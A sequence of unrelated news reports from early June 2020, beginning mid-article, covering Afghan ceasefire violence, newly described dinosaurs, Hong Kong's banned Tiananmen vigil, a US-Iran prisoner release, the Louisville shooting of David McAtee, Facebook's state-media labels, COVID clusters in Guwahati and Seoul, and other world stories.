In response, President Ashraf Ghani on the following day pledged to release 2,000 more Taliban prisoners and to focus on furthering peace efforts.

The Afghan government has been pressing the Taliban to abandon further violence to help pave the way for intra-Afghan talks.

The Afghan government so far has not provided any details about the exact numbers of casualties among Afghan forces after the ceasefire.

"A significant reduction of violence or a ceasefire will help us to proceed with the next steps, which include the start of direct negotiations between the Afghan government and the Taliban," TOLO News quoted Sediq Sediqqi, a spokesman to Ghani, as saying on Thursday.

In the latest incident, the Taliban launched an attack on government forces' checkpoints in the Hesarak district of Nangarhar province.

"The armed opponents initiated a group attack on the checkpoints that resulted in the martyrdom of three local police personnel and the injury of another," said Attaullah Khogyani, a spokesman for Nangarhar governor.

"There is war in Logar every moment," said Nafisa Hejran, a member of Logar's provincial council.

Experts believe that the continuation of violence and war could put the process of the prisoners' swap and peace process into jeopardy.

"If the ceasefire is broken by either side, this will be a serious blow to the peace process," said Mir Haidar Afzali, the head of the Afghan parliament's defence commission.

On May 27, the day after Eid, the Afghan forces launched an air strike in the central province of Zabul, which, according to sources, targeted the insurgents.

In retaliation, the Taliban also launched a series of attacks on parts of Farah, Parwan and Paktia province targeting Afghan forces.
Two new transitional species of plant-eating horned dinosaurs have been unearthed in New Mexico, the United States.

The newly-discovered dinosaurs roamed the Earth approximately 75 million years ago (Cretaceous period).

Named Navajoceratops sullivani and Terminocavus sealeyi, both species belong to Ceratopsidae, the same family as famous horned dinosaurs Triceratops, Centrosaurus, and Styracosaurus.

Their fragmentary skulls were uncovered from the Hunter Wash Member of the Kirtland Formation in New Mexico.

The specimens are intermediate in age between two previously known ceratopsid dinosaurs Pentaceratops and Anchiceratops.

Pentaceratops lived 75.3 million years ago in New Mexico and had a distinctive deep notch on the back border of the frill, and a pair of spikes at the center of the frill that turn outwards like the wings of a butterfly.

Anchiceratops had no notch in its frill and lived 3.8 million years later in what is now Canada.

In the 1990s, Texas Tech University paleontologist Thomas Lehman proposed that Pentaceratops might have been the ancestor of Anchiceratops.

Navajoceratops sullivani and Terminocavus sealeyi are intermediate in shape between these two dinosaurs and show how the notch in the frill became even deeper through time and eventually closed in on itself, explaining the lack of a notch in Anchiceratops.

The two intermediate skulls form important links in a 5 million year lineage stretching from Utahceratops through Pentaceratops, to Anchiceratops, said study authors Dr. Denver Fowler and Dr. Elizabeth Freedman Fowler from Badlands Dinosaur Museum and Museum of the Rockies.

The new specimens revealed a splitting event deep in the evolutionary history of long-frilled ceratopsids (chasmosaurines), after which a Pentaceratops lineage evolved a progressively deepening notch in the frill, contrasting against its sister group, the Chasmosaurus lineage, which evolved a progressively shallower notch.

The origin of this evolutionary split occurred during the Late Cretaceous period, when a vast interior seaway flooded the lowlands of North America dividing it into eastern and western subcontinents, the paleontologists said.

A short period of especially high sea level 85-83 million years ago brought the edge of the sea very close to the young Rocky Mountains.

For hundreds of miles across what is now central Utah to southern Alberta, the coastal plain would have been as little as 5-10 km wide, providing very little habitat for dinosaurs.

This would have effectively cut off northern and southern populations, which then probably evolved in isolation into two distinct lineages. However, after 83 million years ago, the sea receded from the mountain front, allowing northern and southern populations to mix again.

The teams paper appears in the journal PeerJ.

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D.W. Fowler & E.A. Freedman Fowler. 2020. Transitional evolutionary forms in chasmosaurine ceratopsid dinosaurs: evidence from the Campanian of New Mexico. PeerJ 8: e9251; doi: 10.7717/peerj.9251

This article is based on text provided by Dickinson Museum Center.
People gather at the Tiananmen Square vigil remembrance in Causeway Bay, Hong Kong, on June 4, 2020.

Miguel Candela/Anadolu Agency via Getty Images

Hong Kong banned residents from memorializing the Tiananmen Square massacre for the first time, but thousands of protesters gathered on Thursday anyway.

Hong Kongers came together to light candles, chant slogans, and honor those who died in the pro-democracy fight that China crushed in 1989.

There were cases of police arresting and pepper-spraying some protesters who attempted to set up road blocks and barriers, Reuters reported.

The Hong Kong government cited the coronavirus as the reason for the ban, but many believe it to be a direct act of suppression, after China passed a national security law to crush Hong Kong dissent.

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On Thursday, thousands of Hong Kongers defied police orders and gathered to honor the victims of the 1989 Tiananmen Square massacre.

Lighting candles and chanting slogans, residents came out in numbers to defy a police ban that made it illegal to gather in groups of more than eight people amid the coronavirus pandemic.

This was the first time the vigil to memorialize victims of Tienanmen Square has been banned since it began in 1990. Though Hong Kongers still came out to commemorate the tragic day, many fear this year could be their last chance.

The Chinese government signed the national security legislation into law on May 28, and it should severly limit the ability for Hong Kongers to express dissent.

Under the new law, China can impose national security orders, enforce its own military presence, and suppress the voices of activists with lengthy prison sentencing and protest bans. Additionally, on Thursday Hong Kong passed a bill that makes criticizing the Chinese national anthem a crime.

These photos show how people defied the government's orders and gathered to memorialize victims of the Tienanmen Square Massacre.

Every year on June 4, Hong Kong hosts gatherings to honor the hundreds of demonstrators who were killed by the Chinese government during a pro-democracy protest in Beijing's Tienanmen Square in 1989.

Story continues

Participants were seen holding up candles which reads "truth" on them during the memorial vigil in Victoria Park. Thousands gathered for the annual memorial vigil in Victoria Park to mark the 1989 Tiananmen Square Massacre despite a police ban citing coronavirus social distancing restrictions.

Geovien So/SOPA Images/LightRocket via Getty Images

Source: Business Insider

But on Monday, the territory announced it would ban residents from gathering for the annual vigil for the first time since 1990. Citing the coronavirus pandemic, the city prohibited groups of eight people or more.

People wearing protective face masks hold up their phones as they attend a candlelight vigil ahead of the 31st anniversary of the crackdown of pro-democracy protests at Beijing's Tiananmen Square in 1989, after police rejects a mass annual vigil on public health grounds, in Hong Kong, China June 3, 2020.

REUTERS/Tyrone Siu

Sources: Business Insider, The New York Times

But that didn't stop Hong Kongers from going out. Ahead of the protests, people were seen hosting candlelight vigils.

People attend a candlelight vigil ahead of the 31st anniversary of the crackdown of pro-democracy protests at Beijing's Tiananmen Square in 1989, after police rejects a mass annual vigil on public health grounds, in Hong Kong, China June 3, 2020.

REUTERS/Tyrone Siu

Source: Business Insider

One prominent anti-China lawmaker, Eddie Chu, wrote on Facebook earlier in the day on Thursday, "See you at Victoria Park tonight."

Police officers stand guard at a candlelight vigil ahead of the 31st anniversary of the crackdown of pro-democracy protests at Beijing's Tiananmen Square in 1989, after police rejects a mass annual vigil on public health grounds, in Hong Kong, China June 3, 2020

REUTERS/Tyrone Siu

Source: Business Insider

And he was right. Thousands of people hopped over fences and barriers to gather in the park and defy police orders, according to the New York Times.

People taking part at the Tiananmen Square vigil remembrance in Causeway Bay, Hong Kong on June 04, 2020. Thousands of people allover Hong Kong lit candles on June 4 to commemorate Tiananmen massacre despite government ban against gatherings.

Miguel Candela/Anadolu Agency via Getty Images

Source: The New York Times

Throughout the park, many people sat peacefully and lit candles. Some played songs that were used during the 1989 protests.

A participant was seen displaying a poster which reads "Down with the Chinese Communist Party", as well as another poster which reads "let the candlelight ignites the fight; let the mourning turns into power" in the memorial vigil in Victoria Park.

Alda Tsang/SOPA Images/LightRocket via Getty Images

Source: The New York Times

Announcements were made over a loudspeaker encouraging people to maintain social distancing, and many protesters were seen doing so.

People are sitting at Victoria Park while respecting the social distancing rules during the Tiananmen Square vigil remembrance in Causeway Bay, Hong Kong on June 04, 2020.

Miguel Candela/Anadolu Agency via Getty Images

Source: The New York Times

Others gathered in a closer range to chant slogans and wave pro-democracy signs.

Protesters wave Hong Kong independence flags as they take part in a candlelight vigil to mark the 31st anniversary of the crackdown of pro-democracy protests at Beijing's Tiananmen Square in 1989, after police rejects a mass annual vigil on public health grounds, at Victoria Park, in Hong Kong, China June 4, 2020.

REUTERS/Tyrone Siu

Many viewed the attempted ban on the demonstration as a way to further suppress the voices of Hong Kongers.

Participants were seen holding up a banner which reads "Liberate Hong Kong, Revolution of Our Times" as well as candles in the memorial vigil in Victoria Park.

Alda Tsang/SOPA Images/LightRocket via Getty Images

Source: Business Insider

On May 28, the Chinese government passed a national security law that will effectively crush protest movements and criticism against the government.

Protesters wearing protective face masks take part in a candlelight vigil to mark the 31st anniversary of the crackdown of pro-democracy protests at Beijing's Tiananmen Square in 1989, after police rejects a mass annual vigil on public health grounds, at Victoria Park, in Hong Kong, China June 4, 2020.

REUTERS/Tyrone Siu

Source: Business Insider

Though people gathered in numerous locations to defy the police, many fear this could be the last Tienanmen Square vigil.

Residents light candles during the Tiananmen Square vigil in Causeway Bay, Hong Kong, China on June 4, 2020

Tommy Walker/NurPhoto via Getty Images

Source: Business Insider

"It will be the last candlelight vigil before the national security act," chairman Lee Cheuk-yan said, according to The New York Times. "Next year will be even more dangerous. Next year they can use the national security act against the people of Hong Kong."

A man wearing a protective face mask looks on as protesters take part in a candlelight vigil to mark the 31st anniversary of the crackdown of pro-democracy protests at Beijing's Tiananmen Square in 1989, after police rejects a mass annual vigil on public health grounds, at Victoria Park, in Hong Kong, China June 4, 2020.

REUTERS/Tyrone Siu

Source: Business Insider

Nonetheless, Hong Kongers came out in numbers to fight against the new laws. In this photo, protesters are seen doing a hand gesture that means "Five demands, not one less" that was established last year during widespread pro-democracy protests.

People gesture the popular protest slogan 'Five demands, not one less' as they attend a vigil in Victoria Park in Hong Kong on June 4, 2020

YAN ZHAO/AFP via Getty Images

At the University of Hong Kong, students were seen taking a moment of silence in front of a statue honoring the victims of the Tiananmen Square massacre.

University students observe a minute of silence in front of the Pillar of Shame, a statue by Danish artist Jens Galschiot to commemorate the victims of the 1989 Tiananmen crackdown in Beijing, at the University of Hong Kong (HKU) in Hong Kong, China June 4, 2020

REUTERS/Jessie Pang

Here, a protester holds up an image from June 4, 1989, when 200 to 10,000 were estimated to have died, fighting for more political freedoms.

A man displays an image on his smartphone of the Tiananmen crackdown during the Tiananmen Square vigil remembrance in Causeway Bay, Hong Kong on June 04, 2020.

Miguel Candela/Anadolu Agency via Getty Images

Source: BBC

Protesters gathered to show support in Taipei, Taiwan, on Thursday, too.

Hong Kong anti-government demonstrators gather at Liberty Square in Taipei to mark the 31st anniversary of the crackdown of pro-democracy protests at Beijing's Tiananmen Square in 1989, Taiwan, June 4, 2020.

REUTERS/Ann Wang

Those who did not attend the protests in person were encouraged to stand in solidarity by lighting candles in their windows.

People attend a candlelight vigil along the Tsim Sha Tsui waterfront in Hong Kong on June 4, 2020, to mark the 31st anniversary of the 1989 Tiananmen Square crackdown in Beijing.

RICHARD A. BROOKS/AFP via Getty Images

Source: Business Insider

The gathering has historically been a way for Hong Kongers to memorialize the dead, advocate for democracy, and teach the youth about the brutal Tiananmen Square protests.

Two sisters look on as candles are lit during the Tiananmen Square vigil in Causeway Bay, Hong Kong, June 4th 2020

Tommy Walker/NurPhoto via Getty Images

Source: The New York Times

"What we are fighting for is the same: freedom and democracy. And they did so facing the risk of death," Mary Li, a 23-year-old university student, told The New York Times about honoring the victims of Tiananmen Square. "Coming here today, we may only be risking arrest. What they experienced makes me feel very somber."

People wave banners and flags of independence and in support of the pro-democracy movement during the Tiananmen Square vigil remembrance in Causeway Bay, Hong Kong on June 04, 2020.

Miguel Candela/Anadolu Agency via Getty Images

Source: The New York Times

Though the protests were peaceful, police arrested and pepper-sprayed some protesters after some attempted to block the road, Reuters reported.

Undercover police arrested attendees during a memorial vigil in Mongkok on June 4, 2020 in Hong Kong, China.

Billy H.C. Kwok/Getty Images

Source: Reuters

Read the original article on Business Insider
Free after almost 700 days Michael White, detained in 2018 while going to Mashhad to visit his Iranian partner. Sentenced to 10 years for insulting the supreme leader. Washington authorizes the return to Iran of the scientist Sirous Asgari, arrested for espionage. Confirmation of the release of the doctor Majid Taheri is awaited.

Tehran (AsiaNews / Agencies) - After nearly 700 days in prison, Iran has released a US Navy veteran, arrested in 2018 and sentenced to 10 years in prison for unspecified crimes. Michael White was stopped while traveling to the city of Mashhad to meet his Iranian partner; according to some sources, he insulted the supreme guide Ali Khamenei and spread his personal photos on social media.

The authorities last March ordered the release for humanitarian issues, entrusting him to the Swiss embassy representing American interests in Iran.

The release took place in conjunction with the return to the Islamic Republic of a scientist from Tehran, Sirous Asgari, who has been jailed in the United States for three years on charges of espionage. The confirmation of the release of a second Iranian prisoner, doctor Majid Taheri, announced yesterday by the Foreign Ministry of Tehran, is also awaited in these hours.

The release represents a rare example of collaboration between the United States and Iran, although Washington wanted to specify that it was not a prisoner exchange.

The 48-year-old former Navy soldier is one of six US citizens imprisoned in Iran or released on bail, but still in the country. White benefited last March from a general amnesty ordered by the supreme leader to empty prisons during the early stages of the new coronavirus pandemic.

There have been repeated appeals to the White House to ease the policy of head-on confrontation with sanctions against Iran, which also end up causing blockages and restrictions in sending medicines and basic necessities to fight Covid-19.

In a rare example of collaboration, in December the two countries reached an agreement aimed at the exchange of prisoners that concerned the Chinese-born American researcher Xiyue Wang and the Iranian scientist Massoud Soleimani.
PRAGUE (Reuters) - The Czech government will drop restrictions on travel to and from Austria, Germany and Hungary on Friday, Prime Minister Andrej Babis was quoted as saying on Thursday.

The move follows the reopening of the border with Slovakia on Wednesday, and is part of a plan to allow free travel with most EU countries as of June 15.

Babis said the government would meet on freeing up travel on Friday morning.

"I will propose that we do it as soon as possible. I am hoping that as of midnight tomorrow travel will be freed up with these countries," CTK quoted Babis as saying during a trip to Karlovy Vary, a spa city near the German border.

Austria, which shares a frontier with the Czechs, has opened its borders to all neighbours apart from Italy.

Germany has said it will drop border restrictions on June 15.

The Czechs are planning to allow hassle-free entry from more than 20 European states also from June 15. Visitors arriving from places where the epidemic is still strong will have to provide a negative COVID-19 test or stay in quarantine.

(Reporting by Jan Lopatka; Editing by Jon Boyle and Giles Elgood)
[gunshots] Police and National Guardsmen in Kentucky are under investigation after David McAtee, a restaurant owner in Louisville, was shot and killed during a heightened moment in the city, when people were protesting police violence. Crowd: Breonna Taylor! Kentuckys governor released videos of the incident, and says police were responding to gunfire when McAtee was shot. But that doesnt tell the whole story. The Times analyzed those videos, police scanner audio and a livestream filmed by a bystander. We synchronized the videos precisely by lining up key moments, allowing us to see  and most critically, hear  what happened from four different angles. Well see how the episode started, and how questionable policing tactics resulted in a fatal outcome. Its just after midnight on Monday, June 1, when police and National Guardsmen arrive at a busy intersection in West Louisville. Theyve been sent to enforce a dusk-to-dawn curfew imposed by Louisvilles mayor. David McAtee, also known as Yaya, is in his barbecue stand, smoking food for customers. Across the street at Dinos Food Mart, a local resident, Chris Smith, is livestreaming to Facebook as he hangs out with friends. We out here. We out here. His video will provide us with audio of critical moments. Hold on. Police just came. Go. In the car and leave, just go. Im gone, soon as I get my keys. As the area by Dinos is cleared, a police officer and guardsman cross the street toward Yayas. One police officer readies a weapon as they approach the area. It appears to be a modified paintball gun which the Louisville police used to fire pepper balls, like you see in this footage from a previous incident.  at us, like, directly at us. While crossing the street, the officer aims it at the bystanders near Yayas, and fires a pepper ball into the curb. Immediately, diners to the front of Yayas hurry back along the alleyway, and take shelter inside the building through a side door. McAtee, who hasnt seen what happened, approaches the doorway from inside. He appears to have a gun holstered on his right hip. McAtee and his niece stand by the door and peer outside. There appears to be no immediate threat to the officers at this moment, but one of them immediately fires at least two pepper balls at them. Lets watch this back, side by side. McAtee and his niece are by the door. A police officer is aiming the pepper-ball gun at the door. As they peer out, one pepper ball pierces a soda bottle, which falls from the table. Another strikes the doorway, and just misses the head of McAtees niece. She ducks and falls back inside. In response, McAtee appears to fire his handgun out the side door. Its unclear where hes aiming. [gunshot] Front door. Well replay this moment from different camera angles to show what happens. The livestream from Dinos picks up this gunshot. Where you going? I saw you at the site. [shouting] The police and guardsmen nearest the restaurant immediately retreat. The officer who fired pepper balls now draws a handgun. Shots fired, shots fired. Another officer radios into dispatch, and others take cover in the area. Shots fired northwest side. Eight seconds later, McAtee peers out again, and again raises his arm. [gunshots] The same police officer, two guardsmen and another officer fire 18 rounds at McAtee. He stumbles inside, drops a handgun and collapses to the ground. One bullet hit his chest. Louisville police guidelines say officers must avoid the use of force when trying to disperse nonviolent crowds. They must also ID themselves, issue a dispersal order and give people reasonable time to disperse. None of that appears to have happened here. A day after the shooting, the assistant police chief described how officers use pepper balls. It is police policy when we use pepper-ball spray to actually shoot at the ground. That also did not happen. Pepper balls were fired into the doorway where people were standing. Kentucky governor, Andy Beshear, said the investigation will continue, and urged the public to examine the video footage frame by frame. And people can see with their own eyes, and make determinations with their own eyes. What do we want? Justice. When do we want it? Now. What do we want? Justice. When do we want it? Now.
Grant awards are of varying amounts up to $40,000 based on enrollment and the percentage of children served who receive federal Child Care and Development Fund (CCDF) or On My Way Pre-K assistance from the state of Indiana.

In their grant applications, awarded providers detailed how they would use grant funding to more safely serve families and expand to serve additional families. Examples include hiring an additional teacher to allow for smaller group sizes in order to minimize contact; creating a new role for a staff member who will meet families at the door to take temperatures and walk children to their classrooms; supporting social distancing and safety in classrooms by purchasing and installing hand sanitizer stations, room dividers to separate spaces for groups of infants and toddlers, and additional washer and dryer units to allow for increased laundry needs; and building out new classrooms at a center to increase the supply of early learning opportunities in the community.
Guwahati, June 5 : The Guwahati Central Jail was on Friday declared as containment zone after a jail inmate tested coronavirus positive, an official said.

Kamrup Metropolitan Deputy Commissioner Biswajit Pegu, in a notification declared the jail premises as "containment zone" after the detection of the case.

"Any unauthorised entry or exit and movement of any vehicle have been barred till the area is declared safe as per the guidelines of the Union Ministry of Health and Family Welfare," said Pegu, also the chairman of the Kamrup Metropolitan District Disaster Management Authority.

Jail sources said that the prisoner who had tested Covid-19 had been arrested earlier this week on charges of theft, and was brought to the jail with six other people on June 1 after a local court sent them to judicial custody.

The Guwahati Central Jail currently has 1,118 inmates against its capacity of housing 1,000.

Assam has six Central jails, 22 district jails, one open air jail, one special jail, one sub-jail and six detention centres for "declared foreigners".

"With 38 new cases, Assam's Covid-19 count climbed to 2,153 on Friday night, with active cases at 1,637," state Health Minister Himanta Biswas Sarma said.
Indigenous Services Minister Marc Miller pauses as he responds to a question during a news conference in Ottawa, Canada, on June 5, 2020. (Adrian Wyld/The Canadian Press)

Minister Miller Outraged at Violence Against Indigenous People

OTTAWAIndigenous Services Minister Marc Miller says Canada needs a reckoning over a repeated and disgusting pattern of police violence against Indigenous people.

Miller says he watched in disgust video and reports this week of violence against a 22-year-old Inuk man in Nunavut and a 26-year-old First Nations mother in New Brunswick.

In the first, a graphic video shows an RCMP officer in Nunavut ramming the door of his car into the man walking along the road in Kinngait in the evening on June 1. In the second, police went to check on the well-being of 26-year-old Chantel Moore in Edmundston, N.B., Thursday evening, and ended up shooting and killing her.

A car door is not a proper police tactic, its a disgraceful, dehumanizing and violent act, Miller said, at a news conference on Parliament Hill Friday morning. I dont understand how someone dies during a wellness check. When I first saw the report I thought it was some morbid joke.

Miller was there to provide an update on the status of COVID-19 cases in Indigenous communities, but spent most of the nearly hour-long event answering questions about police violence and racism in Canada.

Frankly along with many Canadians, Indigenous Peoples living in Canada, politicians in Canada, Im pissed, Im outraged. There needs to be a full accounting of what has gone on. This is a pattern that keeps repeating itself.

The man who was struck by the officers car in Nunavut was arrested and later beaten by another man also in the holding cell he was placed in, requiring him to be airlifted to Iqaluit for treatment. The 22-year-old, whose identity has not been made public, told CBC News in Nunavut that he wants the police officers involved in his arrest to be charged.

The Ottawa Police Service, which does independent investigations of police in Nunavut, has sent a team there but the officer who arrested the man has not been charged or suspended. He was flown out of the community and is on administrative leave.

Quebecs independent police investigation agency is going to help with the Edmundston shooting at the request of the RCMP, which is providing forensic support.

Moore was killed overnight Thursday after police were asked to do a wellness check. Edmundston police say their officer encountered a woman with a knife making threats. She was shot and killed at the scene.

Miller said he wants answers, and the family deserves answers, quickly.

It was a wellness check and someone died, he said. I cant process that.

Miller spoke of how horrified he was to see the physical fear in some of his staff when they visited Tyendinaga Mohawk Territory in February, during rail blockades protesting in solidarity with B.C. First Nations over the building of a natural gas pipeline through their territory.

I felt safe around police forces and they didnt. I cant speak for them. But I can see it. Its palpable. Its painful.

Miller said as Canadians look south to the police violence against black Americans they need to be seeing and thinking more about what is happening in our own country.

It is something we need to reckon as a society, he said.

Miller said he is open to the idea of adding body cameras to all police though he said videos coming from the United States prove they have not stopped the violence there. He also said police forces need to do better with both recruitment and training. Its not just rankandfile officers but the senior leadership of police forces who need to do it said Miller.

By Mia Rabson
FILE PHOTO: A 3D-printed Facebook logo is seen placed on a keyboard in this illustration

By Katie Paul

SAN FRANCISCO (Reuters) - Facebook Inc will start labeling Russian, Chinese and other state-controlled media organizations, and later this summer will block any ads from such outlets that target U.S. users, it said on Thursday.

The world's biggest social network will apply the label to Russia's Sputnik, Iran's Press TV and China's Xinhua News, according to a partial list Facebook provided. The company will apply the label to about 200 pages at the outset.

Facebook will not label any U.S.-based news organizations for now, as it determined that even U.S. government-run outlets have editorial independence, Nathaniel Gleicher, Facebook's head of cybersecurity policy, said in an interview.

Facebook, which has acknowledged its failure to stop Russian use of its platforms to interfere in the 2016 U.S. presidential election, has since stepped up its defenses and imposed greater transparency requirements for pages and ads on its platforms.

The company announced plans last year to create a state media label, but is introducing it amid criticism over its hands-off treatment of misleading and racially charged posts by U.S. President Donald Trump.

The new measure comes just months ahead of the November U.S. presidential election.

Under the move, Facebook will not use the label for media outlets affiliated with individual political figures or parties, which Gleicher said could push "boundaries that are very, very slippery."

"What we want to do here is start with the most critical case," he said.

Chinese foreign ministry spokesman Geng Shuang told reporters during a daily briefing in Beijing on Friday that social media companies should not selectively create obstacles for media agencies."We hope that the relevant social media platform can put aside the ideological bias and hold an open and accepting attitude towards each country's media role," he said.

Sputnik in a statement shared with Reuters urged governments "to regulate Facebook when it tries to impose U.S.-inspired suppression of the freedom of speech."

Story continues

Facebook is not the first company to take such action.

YouTube, owned by Alphabet Inc's Google, in 2018 started identifying video channels that predominantly carry news items and are funded by governments. But critics charge YouTube has failed to label some state news outlets, allowing them to earn ad revenue from videos with misinformation and propaganda.

In a blog post, Facebook said its label would appear on pages globally, as well as on News Feed posts within the United States.

Facebook also said it would ban U.S.-targeted ads from state-controlled entities "out of an abundance of caution" ahead of the November presidential election. Elsewhere, the ads will receive a label.

(Reporting by Katie Paul; additional reporting by Huizhong Wu in Beijing; Editing by Leslie Adler, Mark Potter and David Gregorio)
ORILLIA, ONT.Heidi Jacobs is this years winner of the Stephen Leacock Memorial Medal for Humour.

The University of Windsor librarian received the $15,000 honour Friday for her Edmonton-set anti-romance, Molly of the Mall: Literary Lass and Purveyor of Fine Footwear.

Published by NeWest Press, the book follows aspiring novelist Molly MacGregors unromantic travails as a shoe seller at the West Edmonton Mall.

Born and raised in Edmonton, Jacobs worked a variety of retail jobs, including in footwear, while studying at the University of Alberta.

The runners-up are Amy Spurway for her novel Crow, published by Goose Lane Editions, and Drew Hayden Taylor for his play Cottagers and Indians, published by Talonbooks. They will each receive $3,000.

Organizers say the honourees will receive their prizes by mail after this years festivities were cancelled because of COVID-19 restrictions.

The authors will also be belatedly celebrated at a 2021 gala dinner in Orillia, Ont.

Read more about:
Australia's training mission at the Taji Military Complex in Iraq has come to an end.

The operation to train Iraqi troops to fight ISIS has been up and running since 2015 but was scaled back earlier this year due to coronavirus.

There are no Australian troops left at the Taji complex near Baghdad and the mission has been concluded.

Warrant Officer Class Two Matthew Harris embraces his partner on arrival home to Brisbane after being deployed to the Middle East with Task Group Taji 9

Australian Defence Force personnel, deployed with Theatre Communications Group 8, at the Taji Military Complex, Iraqi

Australian troops have helped train more than 47,000 members of the Iraqi Security Forces through the joint Australia-New Zealand Building Partner Capacity Program.

Minister for Defence Linda Reynolds said the initiative has been instrumental in helping to defeat ISIS.

'The substantial progress made against Daesh and the increased capacity of the Iraqi Security Forces means that our training mission at Taji has reached logical and natural conclusion,' she said.

In November 2019, Australia's local partner, the Iraqi School of Infantry, was the first Coalition facility to declare full independent operating capability, enabling training responsibilities to be handed back to the Iraqi Government.

Australia will continue to provide support to Iraq by contributing to the Iraqi Counter Terrorism Service, Coalition air capabilities and Coalition headquarters.

Iraqi Army soldiers on the Officer and Junior Leaders Course conduct an objective clearance during a combined arms training activity at the Taji Military Complex, Iraq

Australian Army soldier, Corporal Luke McFarlane, deployed with Task Group Taji 9, observes an Iraqi Army soldier clearing a 12.7mm Browning machine gun during a live-fire training exercise at the Besmayah training area, Iraq
A woman has been arrested in Mexico after she allegedly butchered a pregnant teenager and removed the baby from her womb.

Playa del Carmen police found the burned remains of the 17-year-old girl - who had been seven months pregnant - inside a bag on a sidewalk on May 30.

Quintana Roo prosecutor's office named the alleged killer only as 'Juanita', and did not name the victim.

Authorities say she invited the pregnant teenager to her home in the municipality of Solidaridad, where she held her captive.

She allegedly bashed teenager's head with a stone before stabbing her to death and cutting the baby from her belly.

The woman later showed up at a local hospital and said the baby boy belonged to her.

Police in Playa del Carmen announced Thursday the arrest of a woman who allegedly confessed to butchering a pregnant teen and removing a baby from her womb

Doctors stabilized the premature baby, who was listed in critical condition.

Local media reports claim Juanita killed the teen because she is infertile and was afraid that her husband would abandon her if she failed to provide the family their first child.

Authorities charged Juanita with homicide. If convicted, she could spent up to 50 years in prison.
The coronavirus outbreak has forced the world to take to new innovations in order to battle the disease efficiently until a vaccine is developed. The pandemic has changed the way people used to operate before, from face coverings to hand sanitizers, one can see all adapting to the new normal. Amidst all this, a couple of Japanese companies have come up with a new fabric that they claim can prevent users from disease transmission and other things.

Read: Apple, Google Release Technology For Pandemic Apps

PIECLEX

The fabric reportedly named PIECLEX is jointly developed by Murata Manufacturing and Teijin Frontier, who say it produces small electronic movements that will prevent microbes and bacteria from entering the body. The companies also say that they are working on to develop it for use in face masks and also to keep body odours trapped inside.

Read: UAE Develops A Rapid Coronavirus Laser Testing Technology

A company spokesperson while talking to the media said that they have tested the fabric on all kinds of bacteria and viruses and so far it has achieved a 99.9 percent success rate. The company has said that the electronic movements cannot be felt by the wearers and it keeps bacteria and microbes from multiplying once they enter the fabric. The company informed that they are yet to test the deadly coronavirus, that is currently raging havoc across the world, because of the limits on institutions that are allowed to handle the disease.

Read: Unmanned Delivery Car Deployed In Beijing Institute Of Technology, Can Check Temperature

Read: WHO Launches 'COVID-19 Technology Access Pool' For Equitable Access To Life-saving Tech


One of New Jerseys highest ranked and most racially diverse high schools is investigating 21 students for allegedly using racial and anti-gay rhetoric, including the n-word.

Hudson County Prosecutors Office has been informed of the matter, a spokesperson said Friday.

The incidents were brought to the attention of the principal at Dr. Ronald E. McNair High School on Tuesday, Fernandez said.

A Twitter thread was posted Thursday detailing allegations against students who used racial and anti-gay slurs on social media and in group chats. The thread names the students and includes screen shots of their alleged comments.

Three students have been suspended, Fernandez said.

This is bigger than just a couple of children being disrespectful, she said. Its boarding on a hate crime. Its cyber bullying. Were waiting for [authorities] to give us information on how credible the re-posts are, are they original, is it spoofing.

The students involved could potentially be removed or expelled from McNair High School, Fernandez said, adding that they will follow a district code and students will have an opportunity to present their side of the story.

McNair High School was ranked 4th in New Jersey by U.S. News. Students have to apply and be accepted to attend it. Its student body is 81% persons of color and 52% are economically disadvantaged.

But Fernandez said simply bringing a diverse group of students together isnt enough.

Were reflecting on how do we have conversations with our students about cultural sensitivities" and other issues, she said.

Sometimes students dont understand how inappropriate it is to use the n-word, because even though its out there in popular culture and music, it is unacceptable, Fernandez added. They mightve made statements and thought they were joking with friends. But once they post that on social media, its always there. Young people dont realize how devastating that can be to their future.

The slurs are particularly offensive at a time when protests are being staged across New Jersey and the rest of the country following the death of George Floyd, a black man who died after a white Minneapolis police officer kneeled on his neck for eight minutes and 46 seconds.

As these things continue to highlight the unfairness in race issues, to have students that are doing this, its such a shame, Fernandez said.

Also contained within the Twitter thread are comments about a McNair physical education teacher making inappropriate comments and touching students inappropriately. Some of the allegations are from former students.

The district found out about those comments Friday morning and contacted the Department of Child Protection and Permanency, Fernandez said.

The DCF declined to investigate, she said, and the district is conducting its own investigation by taking statements from students, conducting interviews and looking for evidence.

A spokesperson for DCF declined to comment.

Due to confidentiality rules related to NJ DCFs work, we are unable to discuss specific allegations of child abuse or neglect, or confirm or deny whether or not allegations have been made or investigated, Jason Butkowski, director of communications for DCF, said through email.

If police were to find credible information while digging through all this information, Im sure it will be reopened, Fernandez said.

Our journalism needs your support. Please subscribe today to NJ.com.

Allison Pries may be reached at apries@njadvancemedia.com.
The entrance to Richway, a multi-level marketing company located in Seoul's southern Gwanak-gu, is locked after dozens of workers and visitors there have been confirmed to have COVID-19. / Yonhap





By Jun Ji-hye







Health authorities are expressing concern over a new COVID-19 infection cluster that began at a multi-level marketing company selling health supplements, as most of its customers are senior citizens who are more vulnerable to the disease.







According to the Korea Centers for Disease Control and Prevention (KCDC), Friday, 19 more patients have been traced to the company, called Richway, with the total number of related cases reaching 29 as of Friday noon.







The first case was confirmed on June 2  a man in his 70s.







Of the 29 patients, 18 live in Seoul, five are Gyeonggi Province residents, four live in Incheon and two are from South Chungcheong Province. The company is located in Gwanak-gu, southern Seoul.







"Those who visited the company between May 21 and June 3 need to go through coronavirus testing regardless of whether or not they display symptoms associated with the virus," Kwon Joon-wook, head of the National Institute of Health under the KCDC, said during a media briefing.







The company has held seminars aimed at selling health supplements, and most visitors were senior citizens, according to the authorities.







"The fatality rate stands at 2.34 percent now, but the rate shoots up as high as 13.1 percent for patients older than 65, and 26.4 percent for those older than 80," Kwon said.







KCDC Director Jung Eun-kyeong also said there has been an increasing number of elderly patients recently in Seoul and nearby areas, raising concerns there could be further loss of lives.







Virus cases linked to religious gatherings have also continued to be reported in the capital region, putting the health authorities on edge following the case of the Daegu branch of Shincheonji Church of Jesus. The minor religious sect was at the center of a huge surge in infections here in February and March.







The KCDC said 10 new patients were traced to gatherings of small churches in Incheon and Gyeonggi Province as of Friday noon, raising the number of related cases to 76.







Of the 76, 30 were members of the churches, while 46 came into contact with them.







Meanwhile, 39 new virus patients were reported for Thursday, which brought the country's total to 11,668.







Of the 39 new cases, 34 were local infections, while five were imported ones.







The death toll remained unchanged at 273.







The country has experienced a series of outbreaks linked to nightclubs in Itaewon and a logistics center operated by an e-commence platform giant, as well as religious gatherings, since the beginning of May.


